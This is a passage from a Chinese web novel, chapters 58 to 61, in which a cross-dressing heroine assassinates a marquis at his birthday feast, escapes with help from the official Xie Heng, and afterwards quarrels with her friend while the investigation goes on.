谢珩眼中清润如墨的瞳仁骤然一缩,只觉周身血脉凝固,形神俱震。 第58章 第58章他想狠狠一把攥住那轻纱…… 沈青根本就不会跳舞。 可是非要让她弹琵琶的话,那怎么样,也还是跳舞更好应付一点,毕竟这跳舞跟打架,多少有点异曲同工之处? 再说了,这男人看跳舞,不就是想看人家扭腰吗?她就跟着身后琵琶萧管的节奏,自在轻灵扭动起自己腰肢来。 她长年练武,体态四肢柔韧舒展,毫无欣赏性的怪异舞姿,因为她过于突出而大胆地腰肢扭动,轻纱下细腰风情看得人血脉偾张。 在座宾客都是见多各种场面的,这下更彻底明白了,这姑娘确实是什么才艺都不会,只不过仗着这样一副绝世容颜,敢登堂入殿来如此博人眼球,不过只要能引得贵人青睐,也算是富贵险中求了。 沈青那几个重复的动作实在做得匮乏,她想到自己平时在南风楼欣赏舞姬们的舞姿时,那些舞姬总会时不时循着曼妙舞姿,向她递过来一道脉脉秋波。 确实很让人心神摇曳。 她学着那些舞姬们的姿态,抬眸望向正盯着自己的陈令知,努力微笑冲他眨眨眼。 陈文轩也在看她,那也冲他眨眨眼吧。 她转身的一个回眸间,正好与身边一双清眸对上,那双眸子的主人整个人僵硬得好像被雷劈了一样?不管了,也同样向他眨眨眼吧。 她所谓的眨眼,与舞姬们含情凝睇眼送秋波完全不是一回事,那双美目流转间,没有半点含蓄妩媚,是极纯粹干净的请君入瓮。 至纯则欲,媚态天然。 谢珩指尖微颤,手中金樽倾倒,杯底仅剩的一点美酒佳酿淌了出来。 他此时完全无暇去顾忌这一点失态,正如旁人注意力都在那舞姿上,无人发觉清冷疏淡矜雅如玉的公子,白衣胜雪下,因无法自控而微微战栗的身体。 那道极致玲珑窈窕的身姿映在他那双澄澄清眸里,婉转不停,这双眉眼,这道声音,这样的体态舞姿,明明无一处那个人,却处处是那个人。 他终于从最初的震撼中抽离出来,只觉周遭一切轰然空白,万物虚无,他浑然忘记自己置身于何处,更没法去思考,这人为何会穿成这样,为何会出现在这里? 唯一只剩下的念头,就是他想狠狠一把攥住那轻纱下曼妙轻舞的细娇,藏在袖子里,按进怀中,谁也不许再看一眼。 “你过来,就坐到这里来。” 一道急促得有些发颤的声音突然将他拉回现实,天旋地转间,他才缓缓意识到今夕何夕,置身于何处。 北面的主位上,陈令知几乎让出了一半的位置出来,撑开一只手臂,急不可耐地邀佳人入怀。 沈青动作顿住,岳瑛现在到底什么情况? 这样的停顿,落在陈令知眼中,是美人羞涩含蓄中的无措,于是柔声安抚她:“不用害怕,只是坐过来陪本侯用膳而已。” 沈青很讨厌他那双黏在自己身上的目光,她深吸了一口气,一边想象着该怎样一刀一刀将他眼珠剜出,脚下一步一步走上了主位的台阶。 站上台阶,宴厅中所有情景一目了然。 只可惜刚走到主位边,她的腰间就迫不及待搭上一只手,即便隔着轻纱,她也能感受到那只手的苍老粗糙,她死死按捺住将那只手剁掉的冲动,身子僵硬得坐得笔直。 也就是那只手搭上细腰的一瞬,谢珩只觉一阵杀意从身体里喷涌而出,直冲天灵,完全压抑不住。 “等等,堂堂郡侯,雅席之上,公然狎妓,未免太有伤风化?” 一道泠然之声打破席间暧昧氛围,众人目光看去,清矜温雅的公子不动声色扶起桌上不知何时倾倒的酒樽,平静清疏的面容上看不出太多情绪,似乎只是有些矜傲的不屑。 果然是清门雅正,眼中最不能藏污纳垢。 陈令知也知道自己此举并不妥,被谢珩公然叫断也有些尴尬,可是眼下这情形,满桌佳肴,怎比得过身边这道秀色可餐呢? 他讪讪将手从身边细腰上拿开:“谢公子也太言重了,不过是让佳人入席相伴,今日府上寿宴,何必这般较真?” 好歹他才是今日的主人和寿星,只要不太过分,谢珩再正义凛然,也不至于咬着他不放。 没想到谢珩还真不依不饶起来:“这女子来历不明,陈郡侯便让其贴身相伴,恐怕于自身安危不利。” 沈青被他这句话猛然惊到,终于意识到有些不对劲,难道他认出自己了? 这都能认出来?不可能! 她不动声色看了他一眼,从他清冷无波的眼神中,看不出什么,每当他情绪不再外露的时候,其实才是最令人不安的。 陈令知还在解释:“这些伶人进府前都是搜过身的,能有什么危险?” 谢珩不再跟他废口舌,他只清清冷冷端坐于席间,却也绝不打算罢休的气势,虽然连席上其他宾客也隐隐觉得谢公子似乎过了些,可谁也不敢多出半句声。 陈令知终于隐隐有了退意,他直觉谢珩如果执意要管,恐怕不是到御前参奏这么简单,座下这人泠泠的压迫感,他终是招架不住。 他本来就依附四世家,如果为了一个舞姬开罪了谢珩,他也实在担当不起。 “既然这样……”他斟酌着开口,决定暂且先忍痛割爱,等宴席结束,再问南风楼将人要来,也不是不行。 “侯爷,能伴侯爷左右,是妾身三生有幸。” 他还没说出接下来的话,身边琵琶女却开口了,几分娇嗔,几分软媚,听得人骨头一酥。 又只见她玉手纤纤,端了桌上酒樽,绕过面纱喝了小半口,微撩起的面纱下露出只有他才看见的一点容颜美到令人失语,美人含笑将酒樽递给他,杯口赫然印上一点淡淡芙蓉色。 原本周身清冷还带着锐意的谢珩微微僵住,有一瞬间错觉,沈青仿佛在他眼中看到了一丝错愕,就像当初在南风楼的最后一眼。 她抿了抿唇,不去多想。 “好,好, 我这就喝了这杯!“陈令知忙不迭接了酒杯,这时候再也什么都顾不上了。 在他仰头喝酒的瞬间,眼前美人一双美目间杀意毕现。 沈青忽然谄媚的态度来自于,她终于看见岳瑛了。 在宴厅的门口,即便她穿着和府上所有丫鬟别无二致的衣裙,她仅仅只用一点余光,便立刻将人认出来。 明明她不用进宴厅,但不知跟另一个前来上菜的丫鬟低头说了些什么,那丫鬟竟然真将托盘交到岳瑛手上嘱咐了几声,自己则匆匆离去。 所有人的注意力都在谢珩和陈令知突如其来的几句争执上,岳瑛与其他几个丫鬟一起,正低头按座位依次给客人布菜,随着她离主位的方向越来越近,她也越来越不在乎掩饰,满面恨意,恨不得马上能移到主位这边来。 她脸上毫无修饰隐藏,一眼就认得出是岳瑛的脸。 沈青在心底暗骂,她还是有点高估岳瑛了,竟然以为她好歹会有什么下毒之类的计谋,至少这样,她还能临时想出法子来阻止她。 完全没有,她不在乎会不会被人认出,她也没想过要不要脱身,她只想冲上来,跟陈令知同归于尽。 方才与陈令知这会儿虚与委蛇的恶心,让沈青心头愤懑更深,她一个完全手无缚鸡之力的弱女子,怎么会觉得自己有本事当堂杀人?她以为杀人是捏死一只毛毛虫吗? 就算这位置上现在坐的是一只猪,恐怕她都还没冲上来,就被隐在堂上的暗卫拿下。 就算暗卫没出手,估计也被陈文轩认出一掌推开。 余光可以瞥见岳瑛越走越近,完全被仇恨蒙蔽的人几乎失去理智,沈青根本来不及想出对策来阻止她。 她不动声色美目含笑,看着陈令知将杯中佳酿饮尽,在他放下酒杯跟她说下一句话之前,只听到轻微一声细响,一根金凤步摇,在陈令知喉头穿喉而过。 鲜血溅落在那双绝世精致的眉眼间,那双眉眼还带着泠然笑意,分外肆意妖冶。 老不修,送你见阎王! 失神中的谢珩第一个站起身来,不可置信盯着陈令知喉头热血喷涌的位置,他知道沈青此番必有目的,但他没想到这悍匪敢这样猖狂,竟然当庭残杀朝廷的一品郡侯! 直到陈令知瞪大眼睛,轰然倒地,尸身从台阶上碌碌滚下,宴席中的贵客们才反应过来,尖叫推攮着四下离席逃窜。 “封府!把所有出口堵死!一个人也不许放出去!” 混乱中,陈文轩找回一丝理智,果断站上台阶发号施令。 轻紫色的身影如世外仙姝,早就轻而易举翩然翻出宴厅,将所有喧闹混乱留在身后,她知道,这时候不会有人再关注到岳瑛了,以及这样的混乱程度,萧瑞带人将岳瑛接应出来并不难。 不过她出了宴厅,也陷入了短暂的迷茫,陈郡侯府比想象中要大很多,里面的布局也比想象中繁复,今日行动太仓促,她都没来得及先找一张图纸熟悉地形布局。 不过这种大宅子,也绝对不止一扇正门,再说她也不是非要走门,只要沿着一个方向,总能找到能出去的地方。 但是这陈郡侯府的守卫也真是比她想象中要森严啊,尤其今日寿宴这样的场合,只怕是一年中守卫最森严的日子。 此时她心中微微后怕,还好没有自负身手厉害,贸然闯进府来。 不过短短须臾,各处要道都被府上侍卫扼守,好几次沈青都无处遁形,干倒了几个拦住她出路的侍卫才勉强闯出一条路。 久战下去,于她不利。 穿过一处长廊,迎面正对上几个冲过来的侍卫,沈青忙闪身退回去,又绕过一处短巷,刚察觉无人正要探身往前走,忽然睫羽微动,翻身一闪,一根细如发丝的银线险些扼住她的脖颈。 她回身顿步,看见朱墙青檐下,白衣公子长身玉立,清越如仙。 两人皆身处短巷之中,相隔不过丈余,清风从檐角而下,掠过公子雪白衣襟,而后又掀动起紫衣少女裙摆翩跹。 四目灼灼相对间,杀意猝然而起。 第59章 第59章身前的人忽然倾身贴上来…… 先动手的是谢珩。 细如发丝的银线在他手中翻转操纵,清冷眉眼间氤氲着淡淡怒意,出手招招凌厉果断,不留退路。 好家伙,上来一言不发就动手! 沈青在心中暗骂一句,从容迎战,面纱之上,方才宴厅间一双眼波流转的含情目,变得清绝泠然,她拔了发髻上的芙蓉发簪,一次次抵挡住银丝的进攻。 她只在那日画舫上见过谢珩短暂出招,他的身手是个什么路数,尚还不知,不敢轻敌。 那根银丝缠人缠得厉害,像一根寄生的藤蔓,无处不在,强势地封锁住她所有退路,极富占有欲地去缠绕她的手腕,她的腰间,她的足踝。 每一次银丝与肌肤擦过一瞬,她都能感受到银丝主人的满腔怨愤,招招看似冷静果断的重击下,隐隐有泄愤之势,确实厉害。 可是汇聚了主人满腔怒意的银丝上,她竟然没感受到对方真正的杀意。 银丝虽然灵动,她手上那根芙蓉发簪也不甘示弱,每次银丝要缠上她身体时,总是有这发簪稳稳挡住,纤细银丝与芙蓉发簪时不时在空中铮然相碰。 发簪上一朵含苞待放的芙蓉被细细银丝紧紧缠住,又被绕开,又缠住,又被绕开,反反复复。 白衣清贵纤尘不染,紫裙娇媚婉转翩跹,一双人影在朱墙青瓦的短巷中纠缠不休,难舍难分。 “快!凶手在那里!” 听到打斗声的侍卫们闻声赶来。 沈青不再恋战,手中芙蓉发簪朝着谢珩心口脱手而出,谢珩急急收回银丝,稳稳将发簪攥进手心。 紫色轻影消失于短巷中。 身后侍卫们的脚步来势汹汹,方才被纠缠耽搁了一阵,沈青越发急着脱身,随便又找了个方向奔去。 绕过一间阁楼,刚甩开后面紧追不舍的侍卫,前面回廊又出现一队人影,她脚下略一踟蹰,忽然被身旁一道大力拉扯席卷,等她反应过来的时候,人已经被抵在阁楼下一道矮墙里。 “沈青。” 她抬手出招,耳畔熟悉清润的一道声音,生生喊住她差点出手的致命一击。 因为带着面纱只露出一双眼睛,那双清澈美丽的眼睛里,所有情绪都一览无余。 她惊诧地望着近在咫尺依旧让人呼吸一滞的面容,他竟然认出她了? 怎么认出来的? 很快,那双眸子又染上一层坦荡笑意:“不愧是大理寺卿,眼光真是毒辣。” 她的声音不再是宴厅上的软媚,恢复了一点男人的粗厚。 矮墙外的阵阵脚步由远而近,沈青绷紧了身子蓄势待发,身前的人突然倾身贴了上来,一只手臂横在她脖颈间不许她乱动,她几乎承受了他上半身的重量,整个人被紧紧抵在墙壁上。 两人的身子紧密靠一方矮墙掩盖,呼吸交织在一起,当脚步从一墙之隔阵阵经过时,她分不清一颗咚咚狂跳的心脏,是出自她和他谁的胸腔。 直到矮墙外重新安静下来。 沈青感觉自己身上的压迫轻了一点,身前的人缓缓撑起身子,但是横在她脖颈前的手臂依然制衡住她。 还好有面纱挡在脸上,她隐隐感受到自己脸上的微热,这样奇怪的氛围让她猛然意识到,现在的她还是一身女儿装扮啊! 这么被谢珩徒然认出,心中的惶恐和心虚无以复加,所以她的女儿身被识破了吗? 他没有出声,她也不敢出声,咫尺间,她能感受到对方呼吸的灼热。 如果被识破了,那她该怎么应对?她脑海中陷入一片紧张的慌乱,在千头万绪中,企图迅速找到一个应对方式。 谢珩比她高了大半个头,人几乎就在自己怀里,他略一垂眸,眼下这人点点眉眼,尽数收于眼底。 她长睫微垂,像一只蝴蝶翅尾轻颤,纤弱而美丽。 可惜看不见她眼波流 转间的情绪,也看不见面纱下该是一副怎样倾世容颜。 他喉头动了动,神色近乎虔诚,一只手慢慢触上她面纱的一角,轻轻拉住。 察觉到他接下来要做的动作,沈青忙将脸撇开,抬眸怒目圆瞪:“你要干嘛!” 像一只恶狠狠要咬人的小兽,方才那一瞬间的乖觉都是假象。 被骤然打断的谢珩一张俊脸立刻恢复清明,沉了下来,清润澄澈的眸子里,毫不掩饰他的怒意汹汹。 “你为什么要穿成这样?” 他听到自己声音从空荡荡的胸腔里迸发出来。 眼前这样一副妖娆绝艳的容颜,让他感受到此生以来最失控的一次怒意,他不知道这样的怒意来自于何处,但是他不能接受,沈青是这个样子出现在他面前。 绝对不可以是这个样子。 不可以这样出现在他面前,更不可以这样出现在其他人面前,一想到宴席上,这样一副身子,这样血脉偾张的画面,他真的很想将今日宴席上所有人的眼睛都剜掉。 沈青被问得一愣,什么意思?他……还以为她是男的? 他看不得男人穿成这样吗? 她摸不清谢珩现在到底发觉了多少,只好佯装镇定应付:“为什么?你不是看到为什么了吗?” 既然说到这个,谢珩眸中怒意更甚。 “很好,让你在洛京安分守己,你就登堂入殿公然残杀朝廷一品郡侯是吗?” 陈郡侯的手在搭上沈青腰间的那一瞬,谢珩脑海里他就是个死人了,如何让他死得身败名裂,他已经筹谋许久,只等最后蓄势一发。 但他真没想到沈青会莽成这样让人猝不及防。 “你知不知道,今日所为,你这是诛族灭门之罪?” 他语气轻慢,沈青却只觉周身被他怒意压制得快要喘不过气来,轻蔑一笑:“诛族灭门?反正我家只有我一个了。” 萧瑞跟她没有血缘关系,岳瑛跟她没签过婚书,她的族人家门,早在十一年前,就被诛灭干净了。 “沈青。” 谢珩手上紧了几分,恨不得将眼前这泼皮无赖狠狠撕碎算了。 沈青微微吃痛,蹙起眉头,谢珩忙卸了力道,声音里无力又无措起来:“沈青,我……” 他真不知道该拿眼前这个人怎么办。 “我说谢公子,之前我们不是早就说过各归各路互不干扰吗?你好好走着阳关道包庇陈郡侯一家,我另辟蹊径独木桥上手刃仇人,有什么问题吗?” 沈青呼吸得以自由,懒懒地喘着气回应他。 杀了他家一只走狗,没想到他气成这样。 谢珩顿住,慢慢抽离自己压制在沈青身上的所有力道,站直了身子,缓缓退开两步,跟沈青拉开一个人的距离。 澄澈明净的眸子里,又恢复清疏平淡,和刚才的愤怒失控判若两人。 只有唇畔,还挂着一丝若有似无的自嘲没有及时隐去。 也对,只要事关岳瑛,沈青他做什么都不算疯。 沈青也重新站直了身子,看着眼前这人一会儿愤怒一会儿平静的模样,是她很少见过的情绪大开大合,她现在完全拿不准,他到底要做什么? 要将她捉拿归案吗? “沿着这条路一直往南,绕过两座假山,右边会有一个院子,再穿过那间院子,有一扇垂花门,可以出府。”谢珩突然出声。 “啊!?” 沈青懵然,谢珩已经转过身去背对着她:“守在那里的人,会掩护你出府。” 她愣了愣,望着眼前离自己不过两步之遥的清隽背影,下意识选择了按他说的方向快步离去。 两人无话,不知道说什么告别收场。 紫色裙摆在最后离去时轻轻略过白袍一角。 拐过一处廊柱时,她知道已经彻底看不见身后的人了,脚下步履不停,始终没敢回头看一眼。 他肯定没有未卜先知的能力,所以在这么短的时间内,就着手替她安排好了一条逃出生天的路吗? 随着她脚下步伐的加快,迎面有微风拂动她的面纱,脖颈上他手臂压制住她的触感隐约还有点灼人,明明已经走出了很远很远,她始终觉得,还在被他的气息包裹笼罩着。 真烦,她对谢珩这个人,是有巨大意见的,但是对他那张脸,是真的一点意见都没有。 天知道,刚才那样剑拔弩张的情景下,那样一张摄人心魄的容颜就贴在自己面前,她靠着多大定力,才忍住没有上手摸一把。 她心中啧啧不平,很快就到了谢珩说的那道垂花门,垂花门早就被封锁堵死,但是堵在这里的侍卫早就横七竖八躺了一地,一个普通守卫模样的人似乎已经在这里恭候多时。 待沈青一来,他利落恭敬地将人领出垂花门,可是再往外,南边出府的最后一道角门也有人把守,那人又领着沿墙绕了个弯,终于看见陈郡侯府与外面市井高高隔开的院墙。 “多谢了。” 沈青不多言,轻而易举翻出墙院。 不过府里府外都被人把守住,她从墙上跃出,很难避开侍卫们的视线。 “快!她出去了!快追!” 落地屈膝一瞬,她的手掌刚撑住地面借力,就听到侍卫们的声音远远传来。 不过既然到了这市井之中,茫茫人海,天地之大,那只怕没人能再抓得住她了。 轻紫色的衣袂翩然,隐没于形形色色的人群中。 经过主街,她看到有接到消息正匆匆赶往陈郡侯府的禁卫军,银甲铁枪,严整匆忙的队伍中,萧瑞在队伍的最前头,英姿勃发。 沈青知道,岳瑛不会有危险了。 她安心错身闪进一道小巷,避开人群,一路走到尽头。 一辆宽阔豪奢的马车在僻静巷口停驻,又缓缓继续前行,重新驶向人群。 第60章 第60章被她这个穿女子衣裙的大…… 京郊。 连日的细雨笼罩下,绿柳如烟,湖面翠波荡漾,马车停在湖畔的绿柳树下,马儿甩着尾巴悠闲吃草。 锦衣公子百无聊赖站在湖边,轻摇折扇,对面有雎鸠鸟的关关鸣叫,循着水面传到这边来。 “我好了。” 身后马车里传来清脆一声,王容收了折扇,重新回到马车前,面带笑意掀开车帘。 马车里,是一个青衣玉秀唇红齿白的俊俏小公子。 他颇有些遗憾地扬了扬眉,眼神不舍地看了一眼马车中被换下来的那套轻紫衣裙,翻身坐了进去。 马车缓缓前行,沿着湖畔一路绿柳纷纷,在湿泞的碎石路上碾出一路车辙印。 两人在车厢里相对而坐,宽阔的车厢里,难得地清净。 沈青还是有点不自在,这十多年来,在所有人面前,她都是一个男人,后来认识了岳瑛,她也只习惯在岳瑛面前,她是一个女孩子。 可是要怎么样用女子身份,去面对其他人,她总觉得别扭。 她微垂着眼眸,目光落在膝上,自己一双手正搭在膝头,看上去竟然有几分局促,余光里,王容的折扇正悠闲散漫有一下没一下扇动。 不过看到熟悉的青色衣摆还有脚上黑靴,她心里头稍微安定一点。 脱下那一身美丽繁复的衣裙,她现在又是一个男人了。 她清了清嗓子,打破了车厢中的沉默:“今天的事,多谢你了。你放心,我一人做事一人当,绝对不会连累到你和南风楼的。” 今日在仓促之间,是王容从南风楼周旋,帮她混进了陈郡侯府。 当然,一开始她也没想过,要在今日取了陈令知的性命,案子已经犯下,她更没想到,王容竟然在她犯下如此大案的情况下,亲自来接应她。 让他这样以身犯险,不管怎么样,她都欠了王容一个天大的恩。 王容还是一脸笑意倜傥:“能为佳人效劳,王某甘之如饴。” 一如既往的风流轻佻,顿时让沈青摆脱了许多不自在,她抬眸探究起来:“你什么时 候发现我是女子的?” “第一眼。” 说完王容盯着她已然素净清绝的面容,又补充:“你这样容姿倾城的美人,我怎么可能错过。” 事实证明,他眼光真是一点也没错,那一身绝色风姿,无人见了不会心旌摇曳。 可惜这样一朵仙姝,于他只能是永远的镜花水月? 沈青恍然大悟:“怪不得你当时非要请我喝酒呢!” 王容没好气道:“不然呢?你以为我是有什么断袖的癖好吗?” 沈青想到王容天天跟自己厮混,都是听苏子珩弹琴,还有其他小倌伺候解闷,她认真地点了点头。 王容收了折扇就往她脑袋上敲,她下意识抬手去挡,那扇柄轻轻在她手臂上敲了一下。 “这事你没告诉过别人吧?” 沈青觉得这很严肃。 她都有一点后怕起来,初入洛京,进了趟南风楼,不过一照面的功夫,就被王容和海棠都识破了,这仅仅只是明面上的,还不知道暗地里,是不是也有人也发现了她的女儿身。 幸好被海棠发现得早,洛京人的眼光果然都毒辣更多,她忙抬手摸了摸自己下巴刚贴上去的一层细细胡茬。 王容轻哼了一声:“告诉别人我有什么好处?让别人来跟我竞争美人的青睐吗?” 沈青笑倒,继续警告他:“那你以后也绝对不可以告诉任何人!” “那当然,”王容突然想到什么:“那谢珩也不能告诉吗?” “不能!”沈青几乎要冲上去拽着他肩膀摇:“你告诉谁都不能告诉他!” “行行行,不说就不说,”王容挣脱她,很是不理解:“不过你这么激动做什么?” “我……” 沈青被问得无言以对,说不上来究竟会有多严重的后果,不过一想到从渝州到洛京,她跟谢珩之间的种种算计拉扯,恩怨情仇,她直觉,她是女儿身这件事情,一辈子都不能让谢珩知道。 不然会非常可怕。 再说了,现在她跟谢珩又不是一条道上的人,以后是敌是友都不知道,怎么可能让他抓到任何把柄。 “反正不能说就是不能说!” 王容识趣闭了会嘴,但根本闲不下来:“不对啊,今天谢珩不是也赴宴去了吗?他难道没看到你?没认出你吗?” “看倒是看到了,但我也不确定他认出了没。” 说到这个,沈青还真是拿不准,她都已经穿成那样,还蒙了面纱,他居然还是认出她就是沈青了。 她一身女儿装扮在他面前暴露无遗,可是在矮墙下,她看到他的眼神里,只有愤懑和怨怼,所以知道她是女儿身,应该是这样的情绪吗? 王容到底生了一颗七窍玲珑心,一下子就猜透:“他不会是认出你是沈青,但还是把你当成男人了吧?” “噢!我知道了,他肯定以为你在男扮女装!” 沈青被这一语惊醒,恍然想明白谢珩为何是那样一副表情了。 被她这个穿女子衣裙的大男人恶心到了? 她撇了撇嘴,有一点庆幸他的脑回路,确实可以省去她很多不必要的麻烦,但莫名也有点儿无语,一时间对王容也无言以对。 王容这会儿也没空在跟她聊天,整个车厢里都充斥着他爽朗的笑声,伴随着马车从京郊一路疾驰到洛京城门。 此时的洛京城门,守卫明显比往日森严了许多,甚至是王容的马车,都被拦下来例行盘问了一番。 王容略有些不耐,掀了车帘:“怎么连本公子的马车都要查了?” 守卫长连连告罪,压低了声音:“王公子有所不知,今日城里出了大案,两个时辰前,陈郡侯在府上当众被人刺杀,现在全城戒严,捉拿凶手呢。” “在府上还能被人杀了!?” 王容吓得不行,赶紧将车帘再掀开一些,让那守卫长带人仔细将马车里的情形看个明白:“这是沈公子,反正你们都认识,今日我们在郊外踏青去了。” “知道,知道。” 谁不知道,悍匪沈青,在洛京中最交好的朋友是王容呢。 马车顺利进了城,果然城中处处戒严,几乎三步一哨,五步一岗,路上百姓,人人都要被验身查检,原本繁华热闹的街道氛围变得格外紧张。 在刚刚案发,城门还没有戒严的时候,王容的马车是何时出的城,自然由王容说了算。 现在城门戒严,王容的马车从郊外回京,自然能证明,王容和沈青,在案发时都身在郊外。 出了这样大的事,城中百姓人人自危,南风楼暂时被查禁,谁也不好在外面若无其事逗留,于是王容将沈青送回沈府,便告辞离去了。 沈青在沈府的大门外站了会,从外面看,这里还是一派安宁,直到王容那辆宽阔马车慢悠悠晃过街角,她才转身进去。 一进院子,她就看到岳瑛那扇紧闭的房门,抬脚正要走过去,萧瑞先一步拦在她面前。 陈郡侯被刺杀,现在整个洛京的禁卫军都被调度缉凶,他不能在此耽搁太久,但是他必须要问清楚:“大哥,今日陈郡侯的死……” “是我找人做的。” 沈青直言不讳,并不隐瞒。 果然。 萧瑞心中疑团落地,他就说怎么大哥在关键时刻不见了踪影,怎么会有人这样凑巧,赶在岳瑛动手前先将人解决了。 可是陈令知毕竟是一品郡侯,在自己府上被当堂残杀,这实在太过于骇人听闻了。 “那凶手……”他竟不知,大哥在洛京竟然认识这样厉害人物。 “被我送出城了,天高地阔,朝廷那群废物,抓不到人的。” “好,我知道了。”萧瑞应下来,心里有了底。 沈青没再跟萧瑞多废话,跨步迈上台阶,没想到这小子又撑手拦在她面前。 她那张白皙清俊的面容彻底沉下来:“还有什么事?” 萧瑞知道沈青的脾气,他平日里生气的次数可真不算少,不过生气也分很多种。有时候生气,是让兄弟大家伙们赶紧去哄他迁就他;有时候生气,是他真的要准备宰人了。 现在这种生气,就是快要临界于宰人的那种严重程度。 他想起自己刚刚从陈郡侯府找到岳瑛的情形,当时所有的丫鬟仆役都被集中在后院等候盘查,岳瑛就白着一张脸坐在人群里,像是一碰就要碎掉的泡沫。 “大哥,嫂子这次也是为了报仇心切,冲动了些,你……你……”他说了半天不知道要怎么说下去,嘴上一急:“你可千万别动手啊!” 沈青气得要发抖:“我是这样的人?” 萧瑞不敢说话,也不敢看她。 “让开。” 萧瑞没动。 沈青愣了愣,毫不犹豫一把将他扫豆子一样挥下台阶:“我还就动手了。” 等他从地上爬起来的时候,面前那扇木门被“砰”地一下从里面关上,他倔强地抿了抿唇,执拗地立在台阶下。 沈青跨步进了房间,才发现里面门窗紧闭,也未点灯,妆台罗帐,少女香闺处处透着昏寂。 岳瑛纤瘦的身形几乎摇摇欲坠坐在妆台前,听到动静,动作很缓慢地朝她看过来,面容惨白得像屋里坐了一个纸人,说不出的瘆人。 沈青第一次,毫不留情地冲她说了重话。 “你自己照镜子看看,你现在这副模样,我要是陈文轩,我做梦都要被笑醒。一个被我玩弄后抛弃了的女子,她居然还为了我魂不守舍到这个地步?我很快就娇妻美妾在怀,她们个个美貌,个个家世优渥,那个为了我以泪洗面日益憔悴变丑的女人,真是看一眼都倒胃口!” “陈令知现在是死了,你满意了吗?他现在死了有什么用?你父亲和岳家满门,不还是戴罪之身吗?现在不仅没有替你家洗清冤屈,而且随时会把我和萧瑞拉下水,只要今日之事被查出一点蛛丝马迹,于我们都是灭顶之灾。” “这种亲者痛仇者快的事情,你要是想继续,那我也没办法,就让陈文轩每天过着温柔富贵的日子,我们就全完蛋算了吧!” 她哼哧一顿痛快骂完,忽觉今日所受种种惊吓委屈都烟消云散,她在门边静静站了会,岳瑛只是默默低了头,没有回应她。 她从来没有对岳瑛有过这样的态度,冷静下来,也不知再说些什么,这房中她再待不下去,每一寸空气的凝固,让她迫不及待出门呼吸一下新鲜空气。 比起进来时的气势汹汹,她出门时倒是轻手轻脚了很多,整个人略有点疲惫地跨出台阶。 没想到萧瑞还一身笔挺地站在阶下。 什么 意思?真觉得她会打女人? 她刚刚消下来的气焰噌地一下就冒起来,要不要把他打一顿解解气算了? 萧瑞见她出来,确定房间里没发生什么可怕得不可逆转的事情,忙溜了出去。 “大哥,公务在身,我先走了!” 60-70 第61章 第61章这一朵仙姝,今夜任他采…… 沈青不管不顾地说完这通重话,她和岳瑛短暂地陷入一种似乎是冷战的氛围。 她没像往常一样每天都要去岳瑛房中探望一番,只不过更多派了些人手严加看护下来。 用来给她温补身子的药,府上还是有人每天照常不误送到她手上,某天她偶尔经过岳瑛的窗前,竟然发现整日紧闭的窗户,撑开了窗页。 有风吹动窗下的绿纱,或许房里的人,该重新萌生出生机了。 今年是一个雨季,已经开春很久了,人穿在身上的衣裳越来越薄,可是春雨连绵,日夜不息。 这几日,整个洛京依旧被笼罩在一片灰蒙蒙的雨幕中,因陈郡侯之死,整个京城也处处迷茫着冷肃低迷的氛围,连路上行人都没有几个。 此案太过于骇人听闻,震动朝野,京中京兆府、大理寺、刑部、兵部以及所有能够调动的禁卫军,都着重投入到此案的探查中。 一时间,京中人人自危。 谁也不知道陈郡侯是惹了什么血海深仇在身上,这凶手一日不归案,朝廷其他官员就也有可能在某天好好在自家用膳或者就寝,毫无预兆被残杀。 以及,就算在陈郡侯这个案子上,大家是清白的,但是朝廷中,也没有几个官员家能经得起这样严厉的盘查搜寻,万一被抖出一些藏在府里多年不可见光的阴私,可怎么办? 凶手最开始,是混在南风楼祝寿的歌女舞姬中,南风楼自然是最开始就被上下查封,严加审问的。 只不过,这个世上,那个刺杀了陈郡侯的舞姬,并不存在。 所以即便将南风楼翻了个底朝天,也是查不出关于凶手的任何蛛丝马迹。 南风楼在洛京经营多年,秦楼楚馆中最独大一家,背后靠了不知多少势力,他们早就熟练于应对,什么地方该咬死,什么地方该推卸,又确实查无此人,查得越深,南风楼反倒慢慢洗脱嫌疑。 沈青又请了晋王暗中极力周旋,短短几天,本来就没人想真正查办南风楼,南风楼便彻底从这件事摘身出来。 只不过京中如此局面氛围,南风楼虽然重新挂牌开门,凶案未破,暂时也是歌舞萧条。 而沈府,除了应对两次例行的搜查,一切如常,几乎没有受到什么波及。 不过沈青一刻也不敢停下来。 虽然世上并不存在一个刺杀了陈郡侯的舞姬,可是悍匪沈青是实实在在当庭犯了案。 那日事发突然,她临时布署得也很仓促,甚至原本她根本没想要在那天取人性命,毕竟雁过留痕,朝廷和世家几乎倾全力来搜查凶手,她不敢保证真的不会被人查出蛛丝马迹。 所以她必须要先发制人,在东窗事发之前,将陈郡侯构陷岳闻渊的所有罪证都搜罗出来,板上钉钉给他定罪。 此人死有余辜,身负血仇,这桩案件才会从另一个方向被消解。 现在,唯一的变数,就是谢珩。 谢珩作为缉凶查案的主要官员之一,他知道真正的凶手是谁。 可是沈青摸不准他的态度。 当初,在朝堂之上,他为了包庇陈文轩,不惜公然撒谎,她一直以为,他的立场应该是站在陈郡侯府的。 可是那天他认出她来,明明可以直接将她指认捉拿,却还安排了人接应她逃离现场,现在几日过去,也不见他带人上门缉凶。 这人到底在想什么呢? 沈青深深叹了口气,望向窗外渐渐昏寂的天色,纷纷暮雨到了黄昏雨势更大,她都能看到雨滴像断了线的串珠,一颗一颗晶莹圆润地从屋檐簌簌落下。 这要是放在从前,有一个这样随时会将她拖入深渊的隐患,她根本不会多想,就直接灭口一了百了,不会再开口的人,永远最安全。 可是现在呢? 她竟然在千方百计揣摩一个男人的心思? 意识到自己这匪夷所思的行为后,她面无表情站起身来,走到窗前,“啪”地一下狠狠合上窗页,将点点滴滴扰人的细雨全部隔绝在窗外。 同样觉得窗外夜雨扰人的,还有正在书房中伏案的谢珩,自案发以来,他作为最主要的办案官员之一,几乎没有过好好休憩的时候。 他与其他负责查办此案的官员联手配合,为了缉凶,人马不停,几乎将洛京翻了个底朝天,连日折腾下来,上上下下都有些疲惫不堪了。 今日算回府尚早,奔忙一天,缉凶依旧一无所获,不过他还有更重要的事情,一回府,他便将自己关进了书房。 挑灯伏案本是常态,只不过今夜的雨不似往日濛濛,总是不轻不重打落在庭院草木间,一阵一阵发出沙沙脆响,卷宗上的字迹越来越模糊,他终于不耐,起身关窗。 俊秀颀长的身形默然在窗边立了会,他盯着院中梨花被夜雨打落得一地狼藉零落,终于抬手毫不犹豫利落合上了窗页。 回身正准备重新走到案前,他浑身忽然像是被什么定住,僵直了脊背,不敢再超前迈一步。 